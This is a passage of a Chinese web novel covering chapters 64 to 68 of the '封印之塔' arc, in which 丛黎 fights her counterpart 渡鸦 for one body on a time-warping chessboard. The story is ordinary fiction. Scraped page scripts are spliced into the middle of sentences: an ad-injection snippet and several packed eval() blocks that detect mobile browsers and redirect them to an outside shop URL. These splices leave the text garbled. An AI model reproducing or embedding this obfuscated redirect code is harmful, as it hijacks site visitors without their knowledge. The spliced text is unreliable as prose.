意识琥珀内，那两条线的色泽不断变化，深灰色线无限趋近于黑，浅灰色线无限接近于白，两条线重合的部位，开始有淡淡的过渡区出现。 牵绊松动了。 吸引力从两个方向催动着两条线，像把蛋壳从蛋膜上剥离一般。在这个过程中会不断发生回摆的情况，重新贴合在一起。 这时是“割离”发挥作用的时候。 在两条线的重合处扩散，分别到达最远端时，割离介入其中。 伴随着刺痛，两条线慢慢分离开来。 另一个意识在苏醒。 丛黎曾在苍术建立的全息投影模型中见过渡鸦。 黑色背心和长裤，金属护腕，黑色长发在脑后随意地扎成一把。 现在她亲眼见到了渡鸦。 盒子里多了一个人，一个和丛黎极其相似宛如双生子的人。 渡鸦睁开眼，眼神冰冷而肃杀。 渡鸦看向丛黎，以审视的目光打量着她，带着高位者的轻视和度量。 “D级。”这是渡鸦开口的第一句话。 D级？ 丛黎愣了一下。 最开始的时候，系统曾提醒过“高维空间，评级不明”。 评级不明，是因为渡鸦的高维空间是S级，而她的高维空间异能则是D级甚至更低，两个人的意识融合在一起—— 这就是“评级不明”的原因！ 另一方面，她也意识到原来她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 异能和渡鸦的异能之间存在着如此大的差距。 光是D级甚至以下的“高维空间”就能达到那种程度，她简直难以想象渡鸦的“高维空间”能力的上限。 应该……力量接近于恐怖。 渡鸦做出了攻击的动作，她的手按在金属护腕上，以平静的语气念道：“放逐。” 作为意识体，她身上的所有装束都是虚无的，金属护腕也只是摆设。 但渡鸦已经习惯了发动攻击时做出这个动作。 一上来就攻击她！ 她和渡鸦之间的关系似乎没有想象中那么融洽。 巨大的三维坐标系出现在丛黎面前，充盈了整个空间。 每一个坐标都在闪动着微光，这些细小的光芒组成了耀眼而虚幻的球体，而在光芒中分割着这些坐标的，是x轴y轴和z轴。 坐标与坐标之间相连起来，如同山脉一样连绵起伏的线组成了一支箭，朝她射来！ 这是【高维放逐】，把敌人放逐到任意一个地点。 恐怕是因为渡鸦考虑到柳负越还没有解开琥珀，只是初步分离了意识而已。 在这种情况下，要杀死丛黎只能把她赶出琥珀，所以她使用了“放逐”！ 但是离开了身体，也没有意识琥珀，丛黎这缕意识就是游魂，和死了没有差别。 突如其来的攻击让丛黎的神经一下子绷紧了。 作为D级，她唯一的抵御手段是还没有训练纯熟的“高维风暴”。 这次是越级挑战，存在着绝对力量差距，战术上的调整很难扭转局势。 面对这样一个对手，她心里完全没有把握。 但无论如何，她也想活下来！ 代表本能和欲望的风暴从她身周旋腾而起！ 正在这时，柳负越动手了。 他没有使用最直接的“琥珀解除”让盒子消失，而是使用了另一种封存手段。 柳负越冷笑道：“在解除琥珀前，我得等你们两个争夺出结果。被封存的身体只有一具，按照现在的情况，你们不可能和平相处。” “但你们的异能太危险，容易破坏我的家，我给你们定制了战场。我等着你们两败俱伤，嗬。” 【意识棋盘】 年轮般的纹理一圈一圈地在盒子内部荡开。 65. 封印之塔5 “在我开始棋盘前，你们得先听我说完规则，否则无法行动。” 如同石头接触水面时产生了初始扰动般，涟漪向外不断荡开。 柳负越眼神冰冷地对两人道：“我给你们的棋盘是年轮。” 排列的同心圆边缘清晰，紧密相扣，纹理正如树干切面上的年轮一般。 不知是不是丛黎的错觉，这些脚下的同心圆给她一种旋转着流动的动态视觉效果。 丛黎心态很好：“对我来说是好事，谢谢你，我的朋友。” 柳负越又被成功气到了：“只有你会觉得这是好事！” 丛黎是真心诚意地觉得柳负越增加游戏规则后对她来说反而是有利的。 她和渡鸦同是“高维空间”异能，但两人之间的实力差距太大，就算她希望凭毅力和战术掰回一局，但归根结底，她没有胜算。 但规则一改，可操作的空间就大了。 当然，她死亡的概率还是很大。 棋盘上，一共有十二个同心圆，一环套着一环。 柳负越的腿脚不好，他扶着桌子慢慢坐下。 “不同年轮环区域的时间流速是不同的，越靠近中心圆，时间流速越慢，所以站在外围的人动作速度会变快。” 丛黎看向脚下，数了数：中心圆外第二环。 她的目光瞥向渡鸦：渡鸦站在中心圆！时间流速最慢的那一环。 渡鸦抬了抬手臂，发现自己的动作的确比平时慢了一点，但不是很明显。 柳负越：“要从一个年轮环移动到另一个年轮环，必须成功袭击一次对手，或者成功躲避一次攻击。” 相当于回合制，只要不在回合制中输掉，打平手或者打赢都可以转移阵地改变速度。 “年轮棋盘”的制胜法则在于速度，当然，如果力量足够强，抹消速度带来的弊端，也可以胜出。 柳负越忽然想到了什么，声音平直，冷若冰霜地绷着脸补充道： “我才不是偏心你，别自作多情，你的风暴速度把你推向了外围而已。” 丛黎：…… 原来如此。 本来两个人都应该站在起点中心圆，谁先得一分袭击成功，谁先转移阵地获得速度上的加成。 但是“高维风暴”掀起的旋转气流让她本身的速度加快了，所以她的起点是第二环。 柳负越“启动”了年轮棋盘。 这副棋盘相当于一个意识阵法，在意识类异能中属于较高级别的异能，不过只能对意识体施加影响。 意识琥珀和意识棋盘同时使用，他也是第一次。 棋盘启动。 丛黎明显感觉到她的思考速度变快了。 她学会的技能只有“高维移物”“高维显形”“高维储存”“高维风暴”，加上系内的“法则审判”和附加的“记忆分存”。 糟糕的是，“高维移物”现在最多只能移动活物，无法移动意识体，“高维显形”和“高维储存”更是无法作为攻击手段。“法则审判”和“记忆分存”都不管用。 只有一个还不怎么熟练的“高维风暴”拿得出手。 天崩开局。 她果然还是该感谢柳负越使用了“棋盘”，同时风暴的速度让她自动跳到了第二环。 看来后续只能……现学了。 丛黎没有动作，她放弃了催动那个并不怎么熟练的高维风暴。 “第一回合让给你先出手。”她说。 “别太高估速度给你带来的加成了。”渡鸦冷声道。 丛黎：“你是另一个我，你应该知道，我不会无缘无故盲目自信。” 渡鸦：“哼。” 渡鸦做出了攻击前的习惯性手势，她的手按在金属护腕上：“刃。” 尖锐而耀眼的锋刃从虚空中闪出来，速度本应是极快的，但在丛黎的眼中放慢了一点。 但是，刃的速度太快，向她袭来的方向还不是很清楚，只有一个模糊的区域。 她放出一点高维风暴护身，往地上一滚。 千钧一发之际，刃从她身侧削过！ 第一回合，勉强躲避成功。 丛黎的站位往后退了一个年轮环，第三环。 第一回合让她更加确定自己的策略：只要她获得极致的速度，她就能观察到对方的招式破绽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，甚至分析现学。 “你没有攻击的技能，对吗？”渡鸦算是看出来了。 同时，渡鸦也生出了一点警惕：速度对于丛黎来说，不止是闪避速度的加快，更是……如果她没想错的话…… 她太了解自己了，如果另一个世界的自己会那样做的话，那就太恐怖了。 丛黎在第三环内站定，笑：“没有，我是个废物D级呢，不过你还是要小心我，说不定我能反杀。” 渡鸦：“你真是一点不会藏拙，我以为你会稍微藏藏锋芒，用卑微的姿态麻痹我的心态呢。” 丛黎知道，渡鸦在思考战略。 在年轮棋盘内，渡鸦的思考速度相对于她来说变慢了，所以渡鸦才决定和她说点无关紧要的话，给自己拖延时间，用来思考对策。 渡鸦知道她没有攻击技能，无法主动攻击，所以拖时间对渡鸦来说只有利没有弊。 但她不在意。 她接话道：“忍一时越想越气嘛，我不可能故作卑微好给自己写个打脸爽文剧本的。” 渡鸦：“喜欢从头爽到尾，你还真是和我很像。” 渡鸦的手又按在了金属护腕上。 “门。” 围绕着丛黎顿时开启了十二扇门，悬浮在空无中，门后是一眼望不到尽头的深渊，令人毛骨悚然。 十二扇门组成了圆环，每一扇门中，都飞出了雪亮锋利的“刃”，径直朝丛黎攻击而来！ 任凭丛黎的速度再快，她不可能同时观察十二个方向袭来的攻击。 渡鸦冷眼看着十二把刃袭向丛黎。 “这个世界本来就属于我。从这个世界滚出去。” 丛黎扬起一个冷笑。 “别混淆焦点了，我们在争夺的是这具身体，从我的身体里滚出去！” 在第三环，那些刃向她飞来的速度已经慢成了一帧一帧的。 同时，她的思考速度更为迅速：“刃”的本质是高维移物的加强版，将手的攻击集中到一个点，提高轨迹随机性。而“门”的本质，有十一扇门是高维显形表现出来的假象，实际上只有一把刃。 “刃，还给你。” 66. 封印之塔6 十二扇门组成的圆环内，攻击目标是丛黎。 雪亮的锋刃从门中飞出，轨迹如同蛛丝一样将小虫囚禁在当中。 柳负越透过琥珀观战的时候，抬起手抵在唇边，这是他感到紧张或激动时惯有的动作。 定下的棋盘规则是：不能使用“领域侵入”，攻击得手次数越多，则得分越高，时间一到，意识棋盘会自动杀死另一个分值低的意识。 丛黎拥有的有效攻击技能几乎是零，在年轮棋盘上，她的劣势很明显。 防守虽然可以让她不断离开中心圆，获得更快的速度，但她拿不到攻击的“分数”。 时间一到，她会因为“得分零分”而被棋盘杀死。 “……死了最好。”柳负越意识到自己的思维跑偏，冷声哼道。 他放下抵在唇边的拳头，故意表现出放松的姿态。 琥珀内。 十二扇门内的十二把锋刃朝丛黎飞来。 丛黎没有发动防御，她站在原地：“刃，还给你。” 话音落下，一把巨大的弯钩镰刀出现在她面前。 镰刀大如圆盘，盈满银光。 第三环的速度比中心圆的速度快上好几倍，在锋刃还未触碰到目标时，镰刀迅速割断了向她飞来的蛛丝般的十二把刃！ 第二轮攻击，再次躲过。 “这是你……”渡鸦瞳孔微张。 丛黎收起镰刀：“是的，这是我刚才观察你的‘刃’领悟出来的新技能。” 【高维镰刀，本质和渡鸦的“刃”一样，因为速度足够，所以才形成了镰刀的形态。】 观战的柳负越莫名其妙松了一口气。 随之，他震惊地质问丛黎：“怎么可能？就算站在第三环也……也不可能在短时间内领悟出对手的技能。” 丛黎反问他：“为什么不可能？她的技能不过是我拥有的技能加强版而已。” 高维移物＊加强＝刃 刃＋速度＝高维镰刀 柳负越被说服了，他别过眼神，冷漠地补充道：“……目前你的分值还是零，时间一到就会死。” 丛黎摊手：“但对方也是零。” 棋盘得分仍然是0：0。 柳负越：“你有这个闲工夫跟我聊天，还不如担心一下自己。” 丛黎：“……” 又来了，不是他先开始聊天的吗？ 渡鸦在中心圆处等待他们的聊天结束，破天荒没有出手。 这次，渡鸦希望丛黎出手攻击。 她不能继续放任她一路站到外围年轮环上去，速度加快到极致的话，也会成为“绝对力量”。 “出手吧。”渡鸦道。 丛黎：“你想让我攻击你，你躲过攻击，从而离开中心圆去到第一环。” 渡鸦：“的确如此，难道你不准备得分吗？时间一到，低分者就会死亡，趁我还站在中心圆，尝试着多拿一点分数吧。” 丛黎站在年轮棋盘的第四环。 她当然也明白，面对实力差距巨大的对手，她要攻击得手拿到分很难。 这一回合，她必须要先冒着风险发起进攻——即使代价是渡鸦站上第一环。 在速度再次增加的情况下，她手中的镰刀几乎没有实体，只有肉眼难以捕捉的残影。 模糊的轮廓出现在了中心圆区域，目标是渡鸦。 镰刀像流星一样拖着长长的尾巴，那是速度极快的情况下出现的残影，几乎让人晕眩。 渡鸦的手按在金属环上：“撕裂。” 丛黎站在第四环上，渡鸦的所有动作在她眼中都如同慢镜头一样清清楚楚。 她看到，渡鸦身边的空气仿佛被撕开了一道缝。 镰刀所在的空间和渡鸦所在的空间，从中对半裂开，硬生生地分开了攻击和目标！ 就像沿着锯齿撕开零食包装袋一样轻松。 这又是什么？ 丛黎早就知道S级的“高维空间”力量接近于恐怖，但她没想到还有这种操作。 “刃”和“门”是比较好理解的技能。 “放逐”也容易，那个巨大的放逐坐标系，其实也是“高维移物”的加强版。 但“撕裂”到底是什么？ 难道…… 镰刀继续朝渡鸦的方向飞过去，影子掠过她——却没有击中目标，消失了。 渡鸦嘲讽道：“感觉到差距了吗？S级与D级之间的差距。” 丛黎没有答话。 她有一个可怕的猜测。 会不会，“撕裂”其实是“高维储存”的加强版，把自己放进高维储存空间内部？ 如果是这样的话，在“撕裂”的过程中，渡鸦实际上是把她那部分的空间和镰刀所在的空间撕裂分割开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967609|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “撕裂”让她那部分空间成为“储存空间”，这样，这部分的空间就相当于存在于另一个维度了，镰刀当然无法攻击到另一个维度的渡鸦。 比分依然是0：0。 但渡鸦离开了中心圆，站在了第一环上，与此同时，丛黎仍在第四环。 两人之间的速度差距缩小了。 观战的柳负越提醒道：“还有一半时间，如果比分持平，你们两个都会死。” 渡鸦扯了扯嘴角：“不会有这种事情发生的，她已经没有其他攻击技能了。镰刀尚且无法伤到站在中心圆的我，何谈其他呢？” 丛黎定了定神。 渡鸦对她的天然敌意来自于两个方面。 第一，渡鸦认为她是吞噬、侵夺生存空间的高维人。 第二，渡鸦需要她那具身体。 所以渡鸦费尽心思要杀了她。 在绝对力量上，她确实比不上渡鸦。唯一新学到的攻击技能“镰刀”也伤不到渡鸦分毫。如果不在这个年轮棋盘上，她必死无疑。 但正因如此，她才更不想轻易放弃。 丛黎：“现成的S级老师手把手教我学技能，我哪能错过？” 渡鸦也做出了攻击的手势，她退出“撕裂”模式，把手放在金属护腕上。 这回是两边同时开始攻击。 渡鸦面前出现的是一本翻开的书，她手里多了一支笔。 丛黎垂下眼，飞快思考着这个崭新的技能。 渡鸦手里的笔抬了起来，在纸上落下第一笔。 这时，年轮棋盘的格局骤然变化！ 【高维改写】 【空间升维】 两个人的攻击技能同时释放的时候，第一环和第四环的速度差距显现了出来。 丛黎的攻击率先一步生效！ 本来应该没有其他物件的棋盘上，赫然出现了漂浮在空中的苍术的芯片，躺椅，和其他杂七杂八零零碎碎的小东西。 这是丛黎的高维储存空间。 她参考了“撕裂”，把她的储存空间搬到了棋盘上来，让棋盘成为了另一个维度。 这就是【空间升维】。 琥珀外。 柳负越的手握成拳头，抵在唇边，眼中是掩饰不住的震惊。 在短时间内，她把自己的异能从D级硬生生提高到了B级！ 67. 封印之塔7 遇强则强的类型。 滚烫的战意将她冲泡开，弥散出清醒又辛辣的味道，汩汩流动的岩浆四处蔓延。 柳负越忽然不合时宜地想到这个比喻。 他猜想她或许之前有一段时间像岩石一样冰冷而无趣？或许是因为某些事情，她灵魂里的某些因子被点燃了，就像现在一样？ …… 该死，他走神走得厉害。 柳负越回过神，重新把注意力放到年轮棋盘上对战的两人身上。 得分0：1。 丛黎从第四环移动到了第五环。 渡鸦皱起眉，看向周围的空间，她们依然站在年轮棋盘上，只是空中确实漂浮了一些稀奇古怪的东西。 “这也是攻击技能吗？” 丛黎把她放在储存空间里的瓶瓶罐罐拿到一边，以免它们被波及，尤其是那把借来的躺椅。 “我的储存空间把你困在当中，怎么不是攻击技能？” 渡鸦的负面情绪正在慢慢积蓄，她愈发愤怒不甘，愈发冷静下来。 她低估丛黎了。 或者说，她低估她自己了。 丛黎将“思考速度”的优势发挥到极致，甚至在短时间内领悟出全新的技能。从某种意义上来说，她作为S级的“高维空间”确实被动地变成了丛黎的教学老师。 虽然她们不能改变棋盘和琥珀的格局，但正如她能用“撕裂”来改变自己身处的维度以躲过攻击，丛黎也照样能稍大范围地改变维度。 能把她的意识体囊括进“升维”的范围内，说明丛黎的异能等级再次跃升了。 她和丛黎极其相似，在极端的困境中能激发出无穷的力量。 从一开始，她给自己设置的压力便太小，导致她轻敌了。 在渡鸦思考的时候，丛黎也在思考：“我不会留给你思考的时间。” 【高维镰刀】 强化集中攻击的高维移物成为了“刃”，而“刃”在速度加快的情况下成为了“镰刀”。 在年轮棋盘的第五环上，“镰刀”的速度更是无可匹敌。 渡鸦被困在了她的储存空间里，无法再使用“撕裂”躲避攻击。 从现在开始，她的策略是连续攻击。 第五环的镰刀速度已经到达肉眼无法辨认的程度，只要她击中一次渡鸦，她就可以到达第六环，以更快的速度连续攻击。 在极致的速度加持下，锋利的攻击点如同密集的刃雨，向渡鸦的方向飞去！ 镰刀划过渡鸦的脸颊。 得分0：2。 “第六环。” 刃光如同刺目的探照灯，严严实实地罩住了渡鸦的身周，瞬间，她变成了活靶子。 对方的速度快得惊人，第二下攻击随之来到。 再中！ 得分0：3。 “第七环。” 就在丛黎站上第七环时，渡鸦终于以第一环的速度催动了她的反击。 渡鸦的身形在须臾之内消失了，取而代之的是席卷着滚浓云的风暴。 周围的空间被厚而密的云层染黑，还未席卷之处已经染上了黑色的烟雾。 “风暴。” “别忘了，你是用这个技能在棋局的最开始作弊的。现在我也用它来毁灭你。” 渡鸦的声音从密云中传来。 风暴仿佛巨兽，啃食着每一寸空间，汹涌地朝丛黎奔腾而来。 尽管有速度加成，丛黎还是感觉到了危险。 这种程度的“风暴”她躲不开。 她看了一眼漂浮在空中的芯片、躺椅等物品，第一时间撤下大范围的“空间升维”。 第一件事是让棋盘恢复原样，免得储存空间里的东西遭殃。 第七环的速度帮了她不少忙，她还有时间准备应对朝她袭来的风暴。 风暴凶猛地开辟了过道，碾压过年轮棋盘的一环又一环，流动着的同心圆和气流交杂在一起，斑驳而凌乱。 丛黎就像身处裂隙，她感觉到自己在慢慢陷下去，虽然手忙脚乱地准备着迎接风暴，但天平上的力量已经完全倾斜。 等等。 她的思维列车忽然慢下来。 渡鸦的目的，不仅仅是遵守棋盘的规则攻击她——她忽然想到。 因为渡鸦被这副年轮棋盘坑得够惨，在前几回合里输得很难看，甚至给了她一个D级废物成长的机会。 而渡鸦的性格和她相似，渡鸦绝对无法坦然面对“棋盘”。 将心比心的话，她也不会善罢甘休，掀翻棋盘的举动是可想而知的。 现在渡鸦放出了“风暴”，这个既危险又强大的技能，足以说明：渡鸦的目的不仅是毁灭她，更是要波及整个棋盘！ 风暴穿行的片段里，棋盘在微微震动，同心圆的影像逐渐模糊，被浓重的黑气侵蚀。 掌管着棋盘的柳负越感觉到心脏一阵抽紧，他的手抓紧了桌角，虎口被坚硬的金属合成板桌角磨得发疼。 “破坏棋盘，你们都会死。”他说。 “说谎，”渡鸦冷笑了一声，“所有异能皆有其制约，你的棋盘，在棋局没有结束前不会被破坏。” 年轮棋盘的同心圆流动着，在被风暴吞噬的同时不停生长着。 渡鸦：“我破坏棋盘，受伤的只会是掌管棋盘的人，它会用你的生命力来延续棋局——” 柳负越的脸色已经发白，因为痛楚瞳孔开始变得尖细，深紫色的眼睛里旋腾起烟雾，呼吸也急促起来。 只要他不撤走棋盘，那么在棋局结束前，他会代替棋盘受到“风暴”的侵袭。 丛黎：“柳负越，撤走棋盘。” 柳负越撑不住，他从椅子上滑到地上，表情变得暴戾扭曲：“她想逼我撤走棋盘……嗬，她的得分始终不会增加，时间一到，她会作为低分者被棋盘杀死。” 柳负越的想法是拖时间，直到棋局结束。 “就算让你活下来，我也不会让她活着，休想让我撤走棋盘。”他咬牙道。 丛黎看向同时朝她袭来的风暴，她运用了小范围的“空间升维”，将自己圈在那一方小小的储存空间里，作为暂时隔绝风暴的手段。 纵然如此，风暴压倒性的力量本就是针对“领域”和“维度”的，她挡不了多久，风暴就能把她的储存空间摧毁！ “先死的会是棋盘掌控者。”渡鸦嘲讽道。 风暴骤然之间加强！ 棋盘的同心圆在沉重的黑色里显得色泽明亮，如同来自深渊的迷光。 风暴愈烈，渡鸦的理智愈发消减，她被毁灭的欲望所充满，几乎不顾一切。 丛黎沉默地在原地，像一个旁观者。 在这种情况下，她拥有的优势也只有理智了。 棋盘……战场…… 加成……棋局…… 第七环的速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989224|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加成让她的头脑飞速运行。 从一开始到现在的所有影像在她脑中如同电影一样推演而过。 死亡的獠牙仿佛在她的脑袋上方，即将落下。 在她思维里更迭重复的是规则，棋盘的规则，法则系异能的规则依据…… 她现在的可用技能只有法则系内技能，但她唯一掌握的“法则审判”却不管用。 有没有可能还有其他的法则系内技能？ “意识棋盘”是用棋盘的规则约束异能者。 “扭蛋机”是用扭蛋机的规则约束异能者。 “扭蛋机”和“棋盘”证明，在法则系内存在一种场景式法则，可以制约所有异能者。 年轮有自己的规则。 扭蛋机有自己的规则。 魔方有自己的规则。 水下城有自己的规则。 …… 可让“棋盘”和“扭蛋机”生效的是具体的异能，棋盘是凭空出现的，扭蛋机也是凭空出现的。 如果她希望让一个地方的规则发生变化，除了持有具体的异能以外，还能有什么法则系内的技能可以供她使用？ 对了……交换。 她不能凭空变出一个魔方来，让她和渡鸦同时来到魔方中、遵守魔方的规则。 另一个场景不可能凭空出现，另一种法则不可能凭空存在。 但如果本来就存在两种场景…… 既然她能做到“空间升维”，她能把自己所在的场景转换到储存空间那里，那么她也能…… 法则系内技能都是法则和法则的对抗，“法则审判”是以一种法则去审判另一种法则。 既然她能触发“法则审判”，那么一定存在另一种系内技能…… 把其他场景转换到棋盘上，代替棋盘的法则！ 丛黎闭上眼，回想了一下盒子所在的外部环境。 盒子放在了桌子上，桌子是她新搬来的，桌子在那个窄小的平房里，家徒四壁。 随着她的思考和想象，棋盘上的场景慢慢发生变化。 原来的年轮棋盘消失了，取而代之的是外部的环境，桌子、椅子、地毯、墙壁、连同墙上的爬荧，一应俱全。 与此同时，十二个同心圆的年轮棋盘出现在了柳负越脚下。 【触发技能“法则置换”】 【技能书：法则置换，适用于所有异能，在不移动异能者的情况下将场景对调，不同场景有不同的法则，通过不同的法则约束异能者。】 如果说“法则审判”是她误打误撞想到的，那么“法则置换”就是她经过严密的推理得出的！ 场景置换后，“棋盘”的规则不再制约她们。 风暴不能再对外界的柳负越产生伤害。 同时，丛黎不需要再受“棋盘”规则的约束，她可以使用“侵入”和位移异能了。 当然，不可避免的是，风暴的攻击也正在对她生效。 丛黎狼狈不堪，她整个人都快陷进浓黑的云层和气流中，像被深渊吞没。 恶意的力量正在融化并洞穿她，从四面八方切入她的意识体。 意识变得疲软无力，涣散而提不起劲，变得无法集中注意力，就像瓷碗摔在地上，四分五裂。 她咬牙，定了定神。 三维坐标系出现在她面前，坐标形成的箭支朝密云中心的渡鸦射去！ “放逐，也还给你。” 68. 封印之塔8 局面仿佛又回到最初。 坐标系上多个坐标点连在一起，绵延起伏的线条如同山峦一样，径直指向渡鸦。 “放逐，也还给你。” 两个相融度极高的来自不同平行世界的灵魂，思维高度重合，让局面出现了戏剧化的反转。 意识琥珀外。 柳负越从年轮棋盘上用手臂支起身子来，他的前胸后背上都是冷汗。 “混蛋，到头来还是要破坏我家……”他嘀嘀咕咕地骂道。 他的手指触碰到了棋盘表面，那些同心圆安静而平稳。 不对。 他虽然不明白为什么场景发生了变化，他家的场景转移到了琥珀内部，而年轮棋盘的场景转移到了外部，但他隐隐约约地感觉到了什么。 会不会，只是规则发生了变化？ 两边的场景在物理意义上没有发生任何变动——不然蛛杀街上的邻居都去哪里了？ 但因为某种技能，“场景所产生的规则”却发生了置换，意识琥珀内棋盘的规则转移到了外部环境，而外部环境的规则却变成适用于琥珀内。 他们眼睛看到的，不过是场景的幻觉而已，为了能更好地遵守场景规则而变换出来的规则。 所以，这应该是类似“规则置换”或“法则交换”之类的技能，却不是“场景交换”。 想通这一点后，柳负越多多少少松了一口气。 他看向琥珀内—— 风暴止息了。 放逐之箭也消失了。 留下的只有一个奄奄一息的意识体，被黑色的烟雾包围，像一个无法辨认的茧。 两个来自不同平行世界的灵魂之间的斗争结束了。 “琥珀解除。”柳负越终于做了最后一步。 盒子在瞬间分崩离析，碎片轰然掉落。 禁锢着那缕意识的琥珀不复存在，意识回到身体中，而那具来自高维世界的身体从琥珀中脱离出来。 场景慢慢变换，回到家徒四壁的平房内。 成年女性的身体处于昏迷状态，出现在柳负越面前。 活下来的会是谁？ 柳负越无暇思考这个问题，他看着眼前突然出现的活人，陷入了短暂的茫然。 她的意识受创伤太重，还在昏迷中。 如果活下来的是渡鸦，他要怎么做？报仇把她杀了吗？ 如果活下来的是丛黎，他又要怎么做？ “……瘟神。” 柳负越骂了一句。 他看了一眼她穿着的短袖，明显是夏天的睡衣。 他注意到她小腿和脚踝处的皮肤有点发红，那里正好和地毯外的爬荧接触着。 “居然还对爬荧过敏，麻烦死了。”他拧紧眉头，烦躁地道。 他一只手托住她的肩膀，拖动着她往前，他的腿脚不好，挪动她的过程格外吃力，磕磕绊绊的，累死累活把人搬到地毯上，避免她的身体和地上的爬荧接触。 外屋里什么都没有，内屋里倒是有简单的用水设施和早已荒废的厨房，还有一个上锁的木箱子。 柳负越回到内屋，打开锁，从木箱底部搜搜寻寻地找出了几件干净的衣服，把她身上剩下的裸/露在外的皮肤裹得严严实实。 在狭小的屋里，他转头就能看见她，别过眼神又不可避免地看到她。 他不自在极了，干脆面向墙壁自闭。 他查探过她的意识，虽然仍被黑色的烟雾所笼罩，但已经好多了，隐约能看到茧中的意识体了。 按照恢复速度，她应该快醒过来了。只有等醒过来后，他才能继续搞清楚那团黑雾到底是什么。 柳负越焦急地等着，他也不知道他在等什么，也不知道为什么要等。 但他没事做，只能等她醒来。 时间已经是傍晚了，爬荧的光渐渐微弱下来，屋里昏暗无比。 柳负越不耐烦了，他到她旁边，准备重新查探她的意识情况，他伸手去按她的额头。 就在这时，她睁开了眼睛。 冰冷的眼神打量着他。 柳负越缩回了手：活下来的难道是渡鸦？ 在和两个意识相处过一阵子后，他认为渡鸦和丛黎之间的区别很明显，杀气更重一点的就是渡鸦，更嚣张欠扁一点的就是丛黎。 就算在丛黎威胁他的时候，也没露出过这种眼神。 柳负越犹豫了，他往后挪了一步。 她闭上眼，看起来很痛苦的样子，再次睁开眼，却是另一种眼神，她叫了一声：“柳负越。” 这是丛黎？ 柳负越愣住了，他质问道：“你到底是谁？” 她的手撑在地毯上，支起身子来，裹着的衣服从身上滑落下来：“帮我一个忙，帮我把我意识里的渡鸦分离出去。” “你们两个的意识融合了吗？”柳负越觉得情况不对。 如果两个意识融合在了一个身体里，那他刚才分离意识岂不是做白工？ 她掸了掸身上那件小熊印花睡衣：“她的风暴等级太高了，我没办法完全把她放逐出去，还留了一点，和我的意识融合了。” 柳负越探查了一下，发现她的意识体仍然被黑雾笼罩着，他分不清到底是谁的意识体。 他只能隐约感觉到一股较强的力量和一股较弱的力量。 由于黑雾让他难以分辨，他警惕地质疑道：“我怎么知道你说的是真的？万一留了一点意识的是……” 他没有说下去。 万一现在正和他说话的是渡鸦，而那残留了一点的意识是丛黎呢？ 她奇怪地看了他一眼：“想那么多干什么？对你来说，是谁在这个身体里，无所谓吧。你把那一小截力量软弱的意识扔出去就好了。” 为什么？ 柳负越自己陷入了困惑。 对他来说，无论活着的是渡鸦还是丛黎，都无所谓。 明明事情应该是这样的才对。 他的脸绷紧了：“你管我怎么想的？” 她冷淡地看着他：“你做不做？” 柳负越脸色阴沉：“融合后你会继承渡鸦的记忆和技能，你确定不要保持这样的状态？” “不要，把她分离出去。”她斩钉截铁地道。 柳负越沉默了一下：“随你，哼。” 他使用“割离”，在那团被黑雾笼罩的意识体中，把那股较弱的力量踢了出去。 留下的，是那股较强的力量。 她又昏睡了一会儿。 醒来时，水下城的时间是晚上九点。 丛黎头脑昏昏沉沉的，她发现自己身上裹着衣服，干净的，留有淡淡的木质香气。 屋里的爬荧昏暗得让她几乎看不见，她叫了一声：“柳负越。” 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13996793|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负越慢慢从内屋走出来：“喂，你记得什么没有？” 她想了想：“放逐和风暴，我用了放逐，对抗渡鸦的风暴。” 柳负越怔了一下。 刚才和他说话的，果然不是丛黎，而是假扮成丛黎的渡鸦。 先醒过来的是渡鸦。 渡鸦曾对柳负越下了死手，所以渡鸦判定他会偏袒丛黎。正是因此，她才假扮成丛黎的模样，让他帮忙把意识中的另一部分割离出去。 渡鸦自以为自己残留下来的意识力量比丛黎的强，便主动提出“把软弱的意识踢出去”。 渡鸦没想到的是，她的一部分理智已经被她自己无节制的“风暴”所侵蚀了。 残留下来较强的意识力量，属于丛黎。 “如果渡鸦的意识还残留在你的意识里，你会怎么做？”柳负越问。 丛黎警惕：“为什么突然问这个？难道你检查到了什么吗？” 柳负越：“我是说如果！” “把她分离出去，”丛黎理所当然地道，“要是换在以前，说不定我能接受和渡鸦的意识融合，但是渡鸦一见面就表现出了绝对的敌意，所以我无论如何不能接受自己的意识被这样的家伙污染。” 她本可以像其他和原主融为一体的普通玩家那样和原主和谐相处。 但是发生了那样的事，就代表后续绝无可能了。 